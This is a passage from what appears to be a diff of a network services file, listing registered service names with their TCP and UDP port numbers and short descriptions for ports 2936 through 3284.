+otpatch 2936/udp OTPatch +pnaconsult-lm 2937/tcp PNACONSULT-LM +pnaconsult-lm 2937/udp PNACONSULT-LM +sm-pas-1 2938/tcp SM-PAS-1 +sm-pas-1 2938/udp SM-PAS-1 +sm-pas-2 2939/tcp SM-PAS-2 +sm-pas-2 2939/udp SM-PAS-2 +sm-pas-3 2940/tcp SM-PAS-3 +sm-pas-3 2940/udp SM-PAS-3 +sm-pas-4 2941/tcp SM-PAS-4 +sm-pas-4 2941/udp SM-PAS-4 +sm-pas-5 2942/tcp SM-PAS-5 +sm-pas-5 2942/udp SM-PAS-5 +ttnrepository 2943/tcp TTNRepository +ttnrepository 2943/udp TTNRepository +megaco-h248 2944/tcp Megaco H-248 +megaco-h248 2944/udp Megaco H-248 +h248-binary 2945/tcp H248 Binary +h248-binary 2945/udp H248 Binary +fjsvmpor 2946/tcp FJSVmpor +fjsvmpor 2946/udp FJSVmpor +gpsd 2947/tcp GPSD +gpsd 2947/udp GPSD +wap-push 2948/tcp WAP PUSH +wap-push 2948/udp WAP PUSH +wap-pushsecure 2949/tcp WAP PUSH SECURE +wap-pushsecure 2949/udp WAP PUSH SECURE +esip 2950/tcp ESIP +esip 2950/udp ESIP +ottp 2951/tcp OTTP +ottp 2951/udp OTTP +mpfwsas 2952/tcp MPFWSAS +mpfwsas 2952/udp MPFWSAS +ovalarmsrv 2953/tcp OVALARMSRV +ovalarmsrv 2953/udp OVALARMSRV +ovalarmsrv-cmd 2954/tcp OVALARMSRV-CMD +ovalarmsrv-cmd 2954/udp OVALARMSRV-CMD +csnotify 2955/tcp CSNOTIFY +csnotify 2955/udp CSNOTIFY +ovrimosdbman 2956/tcp OVRIMOSDBMAN +ovrimosdbman 2956/udp OVRIMOSDBMAN +jmact5 2957/tcp JAMCT5 +jmact5 2957/udp JAMCT5 +jmact6 2958/tcp JAMCT6 +jmact6 2958/udp JAMCT6 +rmopagt 2959/tcp RMOPAGT +rmopagt 2959/udp RMOPAGT +dfoxserver 2960/tcp DFOXSERVER +dfoxserver 2960/udp DFOXSERVER +boldsoft-lm 2961/tcp BOLDSOFT-LM +boldsoft-lm 2961/udp BOLDSOFT-LM +iph-policy-cli 2962/tcp IPH-POLICY-CLI +iph-policy-cli 2962/udp IPH-POLICY-CLI +iph-policy-adm 2963/tcp IPH-POLICY-ADM +iph-policy-adm 2963/udp IPH-POLICY-ADM +bullant-srap 2964/tcp BULLANT SRAP +bullant-srap 2964/udp BULLANT SRAP +bullant-rap 2965/tcp BULLANT RAP +bullant-rap 2965/udp BULLANT RAP +idp-infotrieve 2966/tcp IDP-INFOTRIEVE +idp-infotrieve 2966/udp IDP-INFOTRIEVE +ssc-agent 2967/tcp SSC-AGENT +ssc-agent 2967/udp SSC-AGENT +enpp 2968/tcp ENPP +enpp 2968/udp ENPP +essp 2969/tcp ESSP +essp 2969/udp ESSP +index-net 2970/tcp INDEX-NET +index-net 2970/udp INDEX-NET +netclip 2971/tcp NetClip clipboard daemon +netclip 2971/udp NetClip clipboard daemon +pmsm-webrctl 2972/tcp PMSM Webrctl +pmsm-webrctl 2972/udp PMSM Webrctl +svnetworks 2973/tcp SV Networks +svnetworks 2973/udp SV Networks +signal 2974/tcp Signal +signal 2974/udp Signal +fjmpcm 2975/tcp Fujitsu Configuration Management Service +fjmpcm 2975/udp Fujitsu Configuration Management Service +cns-srv-port 2976/tcp CNS Server Port +cns-srv-port 2976/udp CNS Server Port +ttc-etap-ns 2977/tcp TTCs Enterprise Test Access Protocol - NS +ttc-etap-ns 2977/udp TTCs Enterprise Test Access Protocol - NS +ttc-etap-ds 2978/tcp TTCs Enterprise Test Access Protocol - DS +ttc-etap-ds 2978/udp TTCs Enterprise Test Access Protocol - DS +h263-video 2979/tcp H.263 Video Streaming +h263-video 2979/udp H.263 Video Streaming +wimd 2980/tcp Instant Messaging Service +wimd 2980/udp Instant Messaging Service +mylxamport 2981/tcp MYLXAMPORT +mylxamport 2981/udp MYLXAMPORT +iwb-whiteboard 2982/tcp IWB-WHITEBOARD +iwb-whiteboard 2982/udp IWB-WHITEBOARD +netplan 2983/tcp NETPLAN +netplan 2983/udp NETPLAN +hpidsadmin 2984/tcp HPIDSADMIN +hpidsadmin 2984/udp HPIDSADMIN +hpidsagent 2985/tcp HPIDSAGENT +hpidsagent 2985/udp HPIDSAGENT +stonefalls 2986/tcp STONEFALLS +stonefalls 2986/udp STONEFALLS +identify 2987/tcp identify +identify 2987/udp identify +hippad 2988/tcp HIPPA Reporting Protocol +hippad 2988/udp HIPPA Reporting Protocol +zarkov 2989/tcp ZARKOV Intelligent Agent Communication +zarkov 2989/udp ZARKOV Intelligent Agent Communication +boscap 2990/tcp BOSCAP +boscap 2990/udp BOSCAP +wkstn-mon 2991/tcp WKSTN-MON +wkstn-mon 2991/udp WKSTN-MON +itb301 2992/tcp ITB301 +itb301 2992/udp ITB301 +veritas-vis1 2993/tcp VERITAS VIS1 +veritas-vis1 2993/udp VERITAS VIS1 +veritas-vis2 2994/tcp VERITAS VIS2 +veritas-vis2 2994/udp VERITAS VIS2 +idrs 2995/tcp IDRS +idrs 2995/udp IDRS +vsixml 2996/tcp vsixml +vsixml 2996/udp vsixml +rebol 2997/tcp REBOL +rebol 2997/udp REBOL +realsecure 2998/tcp Real Secure +realsecure 2998/udp Real Secure +remoteware-un 2999/tcp RemoteWare Unassigned +remoteware-un 2999/udp RemoteWare Unassigned +hbci 3000/tcp HBCI +hbci 3000/udp HBCI +remoteware-cl 3000/tcp RemoteWare Client +remoteware-cl 3000/udp RemoteWare Client +redwood-broker 3001/tcp Redwood Broker +redwood-broker 3001/udp Redwood Broker +exlm-agent 3002/tcp EXLM Agent +exlm-agent 3002/udp EXLM Agent +remoteware-srv 3002/tcp RemoteWare Server +remoteware-srv 3002/udp RemoteWare Server +cgms 3003/tcp CGMS +cgms 3003/udp CGMS +csoftragent 3004/tcp Csoft Agent +csoftragent 3004/udp Csoft Agent +geniuslm 3005/tcp Genius License Manager +geniuslm 3005/udp Genius License Manager +ii-admin 3006/tcp Instant Internet Admin +ii-admin 3006/udp Instant Internet Admin +lotusmtap 3007/tcp Lotus Mail Tracking Agent Protocol +lotusmtap 3007/udp Lotus Mail Tracking Agent Protocol +midnight-tech 3008/tcp Midnight Technologies +midnight-tech 3008/udp Midnight Technologies +pxc-ntfy 3009/tcp PXC-NTFY +pxc-ntfy 3009/udp PXC-NTFY +gw 3010/tcp Telerate Workstation +ping-pong 3010/udp Telerate Workstation +trusted-web 3011/tcp Trusted Web +trusted-web 3011/udp Trusted Web +twsdss 3012/tcp Trusted Web Client +twsdss 3012/udp Trusted Web Client +gilatskysurfer 3013/tcp Gilat Sky Surfer +gilatskysurfer 3013/udp Gilat Sky Surfer +broker_service 3014/tcp Broker Service +broker_service 3014/udp Broker Service +nati-dstp 3015/tcp NATI DSTP +nati-dstp 3015/udp NATI DSTP +notify_srvr 3016/tcp Notify Server +notify_srvr 3016/udp Notify Server +event_listener 3017/tcp Event Listener +event_listener 3017/udp Event Listener +srvc_registry 3018/tcp Service Registry +srvc_registry 3018/udp Service Registry +resource_mgr 3019/tcp Resource Manager +resource_mgr 3019/udp Resource Manager +cifs 3020/tcp CIFS +cifs 3020/udp CIFS +agriserver 3021/tcp AGRI Server +agriserver 3021/udp AGRI Server +csregagent 3022/tcp CSREGAGENT +csregagent 3022/udp CSREGAGENT +magicnotes 3023/tcp magicnotes +magicnotes 3023/udp magicnotes +nds_sso 3024/tcp NDS_SSO +nds_sso 3024/udp NDS_SSO +arepa-raft 3025/tcp Arepa Raft +arepa-raft 3025/udp Arepa Raft +agri-gateway 3026/tcp AGRI Gateway +agri-gateway 3026/udp AGRI Gateway +LiebDevMgmt_C 3027/tcp LiebDevMgmt_C +LiebDevMgmt_C 3027/udp LiebDevMgmt_C +LiebDevMgmt_DM 3028/tcp LiebDevMgmt_DM +LiebDevMgmt_DM 3028/udp LiebDevMgmt_DM +LiebDevMgmt_A 3029/tcp LiebDevMgmt_A +LiebDevMgmt_A 3029/udp LiebDevMgmt_A +arepa-cas 3030/tcp Arepa Cas +arepa-cas 3030/udp Arepa Cas +eppc 3031/tcp Remote AppleEvents/PPC Toolbox +eppc 3031/udp Remote AppleEvents/PPC Toolbox +redwood-chat 3032/tcp Redwood Chat +redwood-chat 3032/udp Redwood Chat +pdb 3033/tcp PDB +pdb 3033/udp PDB +osmosis-aeea 3034/tcp Osmosis / Helix (R) AEEA Port +osmosis-aeea 3034/udp Osmosis / Helix (R) AEEA Port +fjsv-gssagt 3035/tcp FJSV gssagt +fjsv-gssagt 3035/udp FJSV gssagt +hagel-dump 3036/tcp Hagel DUMP +hagel-dump 3036/udp Hagel DUMP +hp-san-mgmt 3037/tcp HP SAN Mgmt +hp-san-mgmt 3037/udp HP SAN Mgmt +santak-ups 3038/tcp Santak UPS +santak-ups 3038/udp Santak UPS +cogitate 3039/tcp Cogitate, Inc. +cogitate 3039/udp Cogitate, Inc. +tomato-springs 3040/tcp Tomato Springs +tomato-springs 3040/udp Tomato Springs +di-traceware 3041/tcp di-traceware +di-traceware 3041/udp di-traceware +journee 3042/tcp journee +journee 3042/udp journee +brp 3043/tcp BRP +brp 3043/udp BRP +epp 3044/tcp EndPoint Protocol +epp 3044/udp EndPoint Protocol +responsenet 3045/tcp ResponseNet +responsenet 3045/udp ResponseNet +di-ase 3046/tcp di-ase +di-ase 3046/udp di-ase +hlserver 3047/tcp Fast Security HL Server +hlserver 3047/udp Fast Security HL Server +pctrader 3048/tcp Sierra Net PC Trader +pctrader 3048/udp Sierra Net PC Trader +nsws 3049/tcp NSWS +nsws 3049/udp NSWS +gds_db 3050/tcp gds_db +gds_db 3050/udp gds_db +galaxy-server 3051/tcp Galaxy Server +galaxy-server 3051/udp Galaxy Server +apc-3052 3052/tcp APC 3052 +apc-3052 3052/udp APC 3052 +dsom-server 3053/tcp dsom-server +dsom-server 3053/udp dsom-server +amt-cnf-prot 3054/tcp AMT CNF PROT +amt-cnf-prot 3054/udp AMT CNF PROT +policyserver 3055/tcp Policy Server +policyserver 3055/udp Policy Server +cdl-server 3056/tcp CDL Server +cdl-server 3056/udp CDL Server +goahead-fldup 3057/tcp GoAhead FldUp +goahead-fldup 3057/udp GoAhead FldUp +videobeans 3058/tcp videobeans +videobeans 3058/udp videobeans +qsoft 3059/tcp qsoft +qsoft 3059/udp qsoft +interserver 3060/tcp interserver +interserver 3060/udp interserver +cautcpd 3061/tcp cautcpd +cautcpd 3061/udp cautcpd +ncacn-ip-tcp 3062/tcp ncacn-ip-tcp +ncacn-ip-tcp 3062/udp ncacn-ip-tcp +ncadg-ip-udp 3063/tcp ncadg-ip-udp +ncadg-ip-udp 3063/udp ncadg-ip-udp +rprt 3064/tcp Remote Port Redirector +rprt 3064/udp Remote Port Redirector +slinterbase 3065/tcp slinterbase +slinterbase 3065/udp slinterbase +netattachsdmp 3066/tcp NETATTACHSDMP +netattachsdmp 3066/udp NETATTACHSDMP +fjhpjp 3067/tcp FJHPJP +fjhpjp 3067/udp FJHPJP +ls3bcast 3068/tcp ls3 Broadcast +ls3bcast 3068/udp ls3 Broadcast +ls3 3069/tcp ls3 +ls3 3069/udp ls3 +mgxswitch 3070/tcp MGXSWITCH +mgxswitch 3070/udp MGXSWITCH +csd-mgmt-port 3071/tcp ContinuStor Manager Port +csd-mgmt-port 3071/udp ContinuStor Manager Port +csd-monitor 3072/tcp ContinuStor Monitor Port +csd-monitor 3072/udp ContinuStor Monitor Port +vcrp 3073/tcp Very simple chatroom prot +vcrp 3073/udp Very simple chatroom prot +xbox 3074/tcp Xbox game port +xbox 3074/udp Xbox game port +orbix-locator 3075/tcp Orbix 2000 Locator +orbix-locator 3075/udp Orbix 2000 Locator +orbix-config 3076/tcp Orbix 2000 Config +orbix-config 3076/udp Orbix 2000 Config +orbix-loc-ssl 3077/tcp Orbix 2000 Locator SSL +orbix-loc-ssl 3077/udp Orbix 2000 Locator SSL +orbix-cfg-ssl 3078/tcp Orbix 2000 Locator SSL +orbix-cfg-ssl 3078/udp Orbix 2000 Locator SSL +lv-frontpanel 3079/tcp LV Front Panel +lv-frontpanel 3079/udp LV Front Panel +stm_pproc 3080/tcp stm_pproc +stm_pproc 3080/udp stm_pproc +tl1-lv 3081/tcp TL1-LV +tl1-lv 3081/udp TL1-LV +tl1-raw 3082/tcp TL1-RAW +tl1-raw 3082/udp TL1-RAW +tl1-telnet 3083/tcp TL1-TELNET +tl1-telnet 3083/udp TL1-TELNET +itm-mccs 3084/tcp ITM-MCCS +itm-mccs 3084/udp ITM-MCCS +pcihreq 3085/tcp PCIHReq +pcihreq 3085/udp PCIHReq +jdl-dbkitchen 3086/tcp JDL-DBKitchen +jdl-dbkitchen 3086/udp JDL-DBKitchen +asoki-sma 3087/tcp Asoki SMA +asoki-sma 3087/udp Asoki SMA +xdtp 3088/tcp eXtensible Data Transfer Protocol +xdtp 3088/udp eXtensible Data Transfer Protocol +ptk-alink 3089/tcp ParaTek Agent Linking +ptk-alink 3089/udp ParaTek Agent Linking +rtss 3090/tcp Rappore Session Services +rtss 3090/udp Rappore Session Services +1ci-smcs 3091/tcp 1Ci Server Management +1ci-smcs 3091/udp 1Ci Server Management +njfss 3092/tcp Netware sync services +njfss 3092/udp Netware sync services +rapidmq-center 3093/tcp Jiiva RapidMQ Center +rapidmq-center 3093/udp Jiiva RapidMQ Center +rapidmq-reg 3094/tcp Jiiva RapidMQ Registry +rapidmq-reg 3094/udp Jiiva RapidMQ Registry +panasas 3095/tcp Panasas rendevous port +panasas 3095/udp Panasas rendevous port +ndl-aps 3096/tcp Active Print Server Port +ndl-aps 3096/udp Active Print Server Port +itu-bicc-stc 3097/sctp ITU-T Q.1902.1/Q.2150.3 +umm-port 3098/tcp Universal Message Manager +umm-port 3098/udp Universal Message Manager +chmd 3099/tcp CHIPSY Machine Daemon +chmd 3099/udp CHIPSY Machine Daemon +opcon-xps 3100/tcp OpCon/xps +opcon-xps 3100/udp OpCon/xps +hp-pxpib 3101/tcp HP PolicyXpert PIB Server +hp-pxpib 3101/udp HP PolicyXpert PIB Server +slslavemon 3102/tcp SoftlinK Slave Mon Port +slslavemon 3102/udp SoftlinK Slave Mon Port +autocuesmi 3103/tcp Autocue SMI Protocol +autocuesmi 3103/udp Autocue SMI Protocol +autocuelog 3104/tcp Autocue Logger Protocol +autocuetime 3104/udp Autocue Time Service +cardbox 3105/tcp Cardbox +cardbox 3105/udp Cardbox +cardbox-http 3106/tcp Cardbox HTTP +cardbox-http 3106/udp Cardbox HTTP +business 3107/tcp Business protocol +business 3107/udp Business protocol +geolocate 3108/tcp Geolocate protocol +geolocate 3108/udp Geolocate protocol +personnel 3109/tcp Personnel protocol +personnel 3109/udp Personnel protocol +sim-control 3110/tcp simulator control port +sim-control 3110/udp simulator control port +wsynch 3111/tcp Web Synchronous Services +wsynch 3111/udp Web Synchronous Services +ksysguard 3112/tcp KDE System Guard +ksysguard 3112/udp KDE System Guard +cs-auth-svr 3113/tcp CS-Authenticate Svr Port +cs-auth-svr 3113/udp CS-Authenticate Svr Port +ccmad 3114/tcp CCM AutoDiscover +ccmad 3114/udp CCM AutoDiscover +mctet-master 3115/tcp MCTET Master +mctet-master 3115/udp MCTET Master +mctet-gateway 3116/tcp MCTET Gateway +mctet-gateway 3116/udp MCTET Gateway +mctet-jserv 3117/tcp MCTET Jserv +mctet-jserv 3117/udp MCTET Jserv +pkagent 3118/tcp PKAgent +pkagent 3118/udp PKAgent +d2000kernel 3119/tcp D2000 Kernel Port +d2000kernel 3119/udp D2000 Kernel Port +d2000webserver 3120/tcp D2000 Webserver Port +d2000webserver 3120/udp D2000 Webserver Port +vtr-emulator 3122/tcp MTI VTR Emulator port +vtr-emulator 3122/udp MTI VTR Emulator port +edix 3123/tcp EDI Translation Protocol +edix 3123/udp EDI Translation Protocol +beacon-port 3124/tcp Beacon Port +beacon-port 3124/udp Beacon Port +a13-an 3125/tcp A13-AN Interface +a13-an 3125/udp A13-AN Interface +ms-dotnetster 3126/tcp Microsoft .NETster Port +ms-dotnetster 3126/udp Microsoft .NETster Port +ctx-bridge 3127/tcp CTX Bridge Port +ctx-bridge 3127/udp CTX Bridge Port +ndl-aas 3128/tcp Active API Server Port +ndl-aas 3128/udp Active API Server Port +netport-id 3129/tcp NetPort Discovery Port +netport-id 3129/udp NetPort Discovery Port +icpv2 3130/tcp ICPv2 +icpv2 3130/udp ICPv2 +netbookmark 3131/tcp Net Book Mark +netbookmark 3131/udp Net Book Mark +ms-rule-engine 3132/tcp Microsoft Business Rule Engine Update Service +ms-rule-engine 3132/udp Microsoft Business Rule Engine Update Service +prism-deploy 3133/tcp Prism Deploy User Port +prism-deploy 3133/udp Prism Deploy User Port +ecp 3134/tcp Extensible Code Protocol +ecp 3134/udp Extensible Code Protocol +peerbook-port 3135/tcp PeerBook Port +peerbook-port 3135/udp PeerBook Port +grubd 3136/tcp Grub Server Port +grubd 3136/udp Grub Server Port +rtnt-1 3137/tcp rtnt-1 data packets +rtnt-1 3137/udp rtnt-1 data packets +rtnt-2 3138/tcp rtnt-2 data packets +rtnt-2 3138/udp rtnt-2 data packets +incognitorv 3139/tcp Incognito Rendez-Vous +incognitorv 3139/udp Incognito Rendez-Vous +ariliamulti 3140/tcp Arilia Multiplexor +ariliamulti 3140/udp Arilia Multiplexor +vmodem 3141/tcp VMODEM +vmodem 3141/udp VMODEM +rdc-wh-eos 3142/tcp RDC WH EOS +rdc-wh-eos 3142/udp RDC WH EOS +seaview 3143/tcp Sea View +seaview 3143/udp Sea View +tarantella 3144/tcp Tarantella +tarantella 3144/udp Tarantella +csi-lfap 3145/tcp CSI-LFAP +csi-lfap 3145/udp CSI-LFAP +bears-02 3146/tcp bears-02 +bears-02 3146/udp bears-02 +rfio 3147/tcp RFIO +rfio 3147/udp RFIO +nm-game-admin 3148/tcp NetMike Game Administrator +nm-game-admin 3148/udp NetMike Game Administrator +nm-game-server 3149/tcp NetMike Game Server +nm-game-server 3149/udp NetMike Game Server +nm-asses-admin 3150/tcp NetMike Assessor Administrator +nm-asses-admin 3150/udp NetMike Assessor Administrator +nm-assessor 3151/tcp NetMike Assessor +nm-assessor 3151/udp NetMike Assessor +feitianrockey 3152/tcp FeiTian Port +feitianrockey 3152/udp FeiTian Port +s8-client-port 3153/tcp S8Cargo Client Port +s8-client-port 3153/udp S8Cargo Client Port +ccmrmi 3154/tcp ON RMI Registry +ccmrmi 3154/udp ON RMI Registry +jpegmpeg 3155/tcp JpegMpeg Port +jpegmpeg 3155/udp JpegMpeg Port +indura 3156/tcp Indura Collector +indura 3156/udp Indura Collector +e3consultants 3157/tcp CCC Listener Port +e3consultants 3157/udp CCC Listener Port +stvp 3158/tcp SmashTV Protocol +stvp 3158/udp SmashTV Protocol +navegaweb-port 3159/tcp NavegaWeb Tarification +navegaweb-port 3159/udp NavegaWeb Tarification +tip-app-server 3160/tcp TIP Application Server +tip-app-server 3160/udp TIP Application Server +doc1lm 3161/tcp DOC1 License Manager +doc1lm 3161/udp DOC1 License Manager +sflm 3162/tcp SFLM +sflm 3162/udp SFLM +res-sap 3163/tcp RES-SAP +res-sap 3163/udp RES-SAP +imprs 3164/tcp IMPRS +imprs 3164/udp IMPRS +newgenpay 3165/tcp Newgenpay Engine Service +newgenpay 3165/udp Newgenpay Engine Service +qrepos 3166/tcp Quest Repository +qrepos 3166/udp Quest Repository +poweroncontact 3167/tcp poweroncontact +poweroncontact 3167/udp poweroncontact +poweronnud 3168/tcp poweronnud +poweronnud 3168/udp poweronnud +serverview-as 3169/tcp SERVERVIEW-AS +serverview-as 3169/udp SERVERVIEW-AS +serverview-asn 3170/tcp SERVERVIEW-ASN +serverview-asn 3170/udp SERVERVIEW-ASN +serverview-gf 3171/tcp SERVERVIEW-GF +serverview-gf 3171/udp SERVERVIEW-GF +serverview-rm 3172/tcp SERVERVIEW-RM +serverview-rm 3172/udp SERVERVIEW-RM +serverview-icc 3173/tcp SERVERVIEW-ICC +serverview-icc 3173/udp SERVERVIEW-ICC +armi-server 3174/tcp ARMI Server +armi-server 3174/udp ARMI Server +t1-e1-over-ip 3175/tcp T1_E1_Over_IP +t1-e1-over-ip 3175/udp T1_E1_Over_IP +ars-master 3176/tcp ARS Master +ars-master 3176/udp ARS Master +phonex-port 3177/tcp Phonex Protocol +phonex-port 3177/udp Phonex Protocol +radclientport 3178/tcp Radiance UltraEdge Port +radclientport 3178/udp Radiance UltraEdge Port +h2gf-w-2m 3179/tcp H2GF W.2m Handover prot. +h2gf-w-2m 3179/udp H2GF W.2m Handover prot. +mc-brk-srv 3180/tcp Millicent Broker Server +mc-brk-srv 3180/udp Millicent Broker Server +bmcpatrolagent 3181/tcp BMC Patrol Agent +bmcpatrolagent 3181/udp BMC Patrol Agent +bmcpatrolrnvu 3182/tcp BMC Patrol Rendezvous +bmcpatrolrnvu 3182/udp BMC Patrol Rendezvous +cops-tls 3183/tcp COPS/TLS +cops-tls 3183/udp COPS/TLS +apogeex-port 3184/tcp ApogeeX Port +apogeex-port 3184/udp ApogeeX Port +smpppd 3185/tcp SuSE Meta PPPD +smpppd 3185/udp SuSE Meta PPPD +iiw-port 3186/tcp IIW Monitor User Port +iiw-port 3186/udp IIW Monitor User Port +odi-port 3187/tcp Open Design Listen Port +odi-port 3187/udp Open Design Listen Port +brcm-comm-port 3188/tcp Broadcom Port +brcm-comm-port 3188/udp Broadcom Port +pcle-infex 3189/tcp Pinnacle Sys InfEx Port +pcle-infex 3189/udp Pinnacle Sys InfEx Port +csvr-proxy 3190/tcp ConServR Proxy +csvr-proxy 3190/udp ConServR Proxy +csvr-sslproxy 3191/tcp ConServR SSL Proxy +csvr-sslproxy 3191/udp ConServR SSL Proxy +firemonrcc 3192/tcp FireMon Revision Control +firemonrcc 3192/udp FireMon Revision Control +spandataport 3193/tcp SpanDataPort +spandataport 3193/udp SpanDataPort +magbind 3194/tcp Rockstorm MAG protocol +magbind 3194/udp Rockstorm MAG protocol +ncu-1 3195/tcp Network Control Unit +ncu-1 3195/udp Network Control Unit +ncu-2 3196/tcp Network Control Unit +ncu-2 3196/udp Network Control Unit +embrace-dp-s 3197/tcp Embrace Device Protocol Server +embrace-dp-s 3197/udp Embrace Device Protocol Server +embrace-dp-c 3198/tcp Embrace Device Protocol Client +embrace-dp-c 3198/udp Embrace Device Protocol Client +dmod-workspace 3199/tcp DMOD WorkSpace +dmod-workspace 3199/udp DMOD WorkSpace +tick-port 3200/tcp Press-sense Tick Port +tick-port 3200/udp Press-sense Tick Port +cpq-tasksmart 3201/tcp CPQ-TaskSmart +cpq-tasksmart 3201/udp CPQ-TaskSmart +intraintra 3202/tcp IntraIntra +intraintra 3202/udp IntraIntra +netwatcher-mon 3203/tcp Network Watcher Monitor +netwatcher-mon 3203/udp Network Watcher Monitor +netwatcher-db 3204/tcp Network Watcher DB Access +netwatcher-db 3204/udp Network Watcher DB Access +isns 3205/tcp iSNS Server Port +isns 3205/udp iSNS Server Port +ironmail 3206/tcp IronMail POP Proxy +ironmail 3206/udp IronMail POP Proxy +vx-auth-port 3207/tcp Veritas Authentication Port +vx-auth-port 3207/udp Veritas Authentication Port +pfu-prcallback 3208/tcp PFU PR Callback +pfu-prcallback 3208/udp PFU PR Callback +netwkpathengine 3209/tcp HP OpenView Network Path Engine Server +netwkpathengine 3209/udp HP OpenView Network Path Engine Server +flamenco-proxy 3210/tcp Flamenco Networks Proxy +flamenco-proxy 3210/udp Flamenco Networks Proxy +avsecuremgmt 3211/tcp Avocent Secure Management +avsecuremgmt 3211/udp Avocent Secure Management +surveyinst 3212/tcp Survey Instrument +surveyinst 3212/udp Survey Instrument +neon24x7 3213/tcp NEON 24X7 Mission Control +neon24x7 3213/udp NEON 24X7 Mission Control +jmq-daemon-1 3214/tcp JMQ Daemon Port 1 +jmq-daemon-1 3214/udp JMQ Daemon Port 1 +jmq-daemon-2 3215/tcp JMQ Daemon Port 2 +jmq-daemon-2 3215/udp JMQ Daemon Port 2 +ferrari-foam 3216/tcp Ferrari electronic FOAM +ferrari-foam 3216/udp Ferrari electronic FOAM +unite 3217/tcp Unified IP & Telecomm Env +unite 3217/udp Unified IP & Telecomm Env +smartpackets 3218/tcp EMC SmartPackets +smartpackets 3218/udp EMC SmartPackets +wms-messenger 3219/tcp WMS Messenger +wms-messenger 3219/udp WMS Messenger +xnm-ssl 3220/tcp XML NM over SSL +xnm-ssl 3220/udp XML NM over SSL +xnm-clear-text 3221/tcp XML NM over TCP +xnm-clear-text 3221/udp XML NM over TCP +glbp 3222/tcp Gateway Load Balancing Pr +glbp 3222/udp Gateway Load Balancing Pr +digivote 3223/tcp DIGIVOTE (R) Vote-Server +digivote 3223/udp DIGIVOTE (R) Vote-Server +aes-discovery 3224/tcp AES Discovery Port +aes-discovery 3224/udp AES Discovery Port +fcip-port 3225/tcp FCIP +fcip-port 3225/udp FCIP +isi-irp 3226/tcp ISI Industry Software IRP +isi-irp 3226/udp ISI Industry Software IRP +dwnmshttp 3227/tcp DiamondWave NMS Server +dwnmshttp 3227/udp DiamondWave NMS Server +dwmsgserver 3228/tcp DiamondWave MSG Server +dwmsgserver 3228/udp DiamondWave MSG Server +global-cd-port 3229/tcp Global CD Port +global-cd-port 3229/udp Global CD Port +sftdst-port 3230/tcp Software Distributor Port +sftdst-port 3230/udp Software Distributor Port +dsnl 3231/tcp Delta Solutions Direct +dsnl 3231/udp Delta Solutions Direct +mdtp 3232/tcp MDT port +mdtp 3232/udp MDT port +whisker 3233/tcp WhiskerControl main port +whisker 3233/udp WhiskerControl main port +alchemy 3234/tcp Alchemy Server +alchemy 3234/udp Alchemy Server +mdap-port 3235/tcp MDAP port +mdap-port 3235/udp MDAP Port +apparenet-ts 3236/tcp appareNet Test Server +apparenet-ts 3236/udp appareNet Test Server +apparenet-tps 3237/tcp appareNet Test Packet Sequencer +apparenet-tps 3237/udp appareNet Test Packet Sequencer +apparenet-as 3238/tcp appareNet Analysis Server +apparenet-as 3238/udp appareNet Analysis Server +apparenet-ui 3239/tcp appareNet User Interface +apparenet-ui 3239/udp appareNet User Interface +triomotion 3240/tcp Trio Motion Control Port +triomotion 3240/udp Trio Motion Control Port +sysorb 3241/tcp SysOrb Monitoring Server +sysorb 3241/udp SysOrb Monitoring Server +sdp-id-port 3242/tcp Session Description ID +sdp-id-port 3242/udp Session Description ID +timelot 3243/tcp Timelot Port +timelot 3243/udp Timelot Port +onesaf 3244/tcp OneSAF +onesaf 3244/udp OneSAF +vieo-fe 3245/tcp VIEO Fabric Executive +vieo-fe 3245/udp VIEO Fabric Executive +dvt-system 3246/tcp DVT SYSTEM PORT +dvt-system 3246/udp DVT SYSTEM PORT +dvt-data 3247/tcp DVT DATA LINK +dvt-data 3247/udp DVT DATA LINK +procos-lm 3248/tcp PROCOS LM +procos-lm 3248/udp PROCOS LM +ssp 3249/tcp State Sync Protocol +ssp 3249/udp State Sync Protocol +hicp 3250/tcp HMS hicp port +hicp 3250/udp HMS hicp port +sysscanner 3251/tcp Sys Scanner +sysscanner 3251/udp Sys Scanner +dhe 3252/tcp DHE port +dhe 3252/udp DHE port +pda-data 3253/tcp PDA Data +pda-data 3253/udp PDA Data +pda-sys 3254/tcp PDA System +pda-sys 3254/udp PDA System +semaphore 3255/tcp Semaphore Connection Port +semaphore 3255/udp Semaphore Connection Port +cpqrpm-agent 3256/tcp Compaq RPM Agent Port +cpqrpm-agent 3256/udp Compaq RPM Agent Port +cpqrpm-server 3257/tcp Compaq RPM Server Port +cpqrpm-server 3257/udp Compaq RPM Server Port +ivecon-port 3258/tcp Ivecon Server Port +ivecon-port 3258/udp Ivecon Server Port +epncdp2 3259/tcp Epson Network Common Devi +epncdp2 3259/udp Epson Network Common Devi +iscsi-target 3260/tcp iSCSI port +iscsi-target 3260/udp iSCSI port +winshadow 3261/tcp winShadow +winshadow 3261/udp winShadow +necp 3262/tcp NECP +necp 3262/udp NECP +ecolor-imager 3263/tcp E-Color Enterprise Imager +ecolor-imager 3263/udp E-Color Enterprise Imager +ccmail 3264/tcp cc:mail/lotus +ccmail 3264/udp cc:mail/lotus +altav-tunnel 3265/tcp Altav Tunnel +altav-tunnel 3265/udp Altav Tunnel +ns-cfg-server 3266/tcp NS CFG Server +ns-cfg-server 3266/udp NS CFG Server +ibm-dial-out 3267/tcp IBM Dial Out +ibm-dial-out 3267/udp IBM Dial Out +msft-gc 3268/tcp Microsoft Global Catalog +msft-gc 3268/udp Microsoft Global Catalog +msft-gc-ssl 3269/tcp Microsoft Global Catalog with LDAP/SSL +msft-gc-ssl 3269/udp Microsoft Global Catalog with LDAP/SSL +verismart 3270/tcp Verismart +verismart 3270/udp Verismart +csoft-prev 3271/tcp CSoft Prev Port +csoft-prev 3271/udp CSoft Prev Port +user-manager 3272/tcp Fujitsu User Manager +user-manager 3272/udp Fujitsu User Manager +sxmp 3273/tcp Simple Extensible Multiplexed Protocol +sxmp 3273/udp Simple Extensible Multiplexed Protocol +ordinox-server 3274/tcp Ordinox Server +ordinox-server 3274/udp Ordinox Server +samd 3275/tcp SAMD +samd 3275/udp SAMD +maxim-asics 3276/tcp Maxim ASICs +maxim-asics 3276/udp Maxim ASICs +awg-proxy 3277/tcp AWG Proxy +awg-proxy 3277/udp AWG Proxy +lkcmserver 3278/tcp LKCM Server +lkcmserver 3278/udp LKCM Server +admind 3279/tcp admind +admind 3279/udp admind +vs-server 3280/tcp VS Server +vs-server 3280/udp VS Server +sysopt 3281/tcp SYSOPT +sysopt 3281/udp SYSOPT +datusorb 3282/tcp Datusorb +datusorb 3282/udp Datusorb +net-assistant 3283/tcp Net Assistant +net-assistant 3283/udp Net Assistant +4talk 3284/tcp 4Talk +4talk 3284/udp 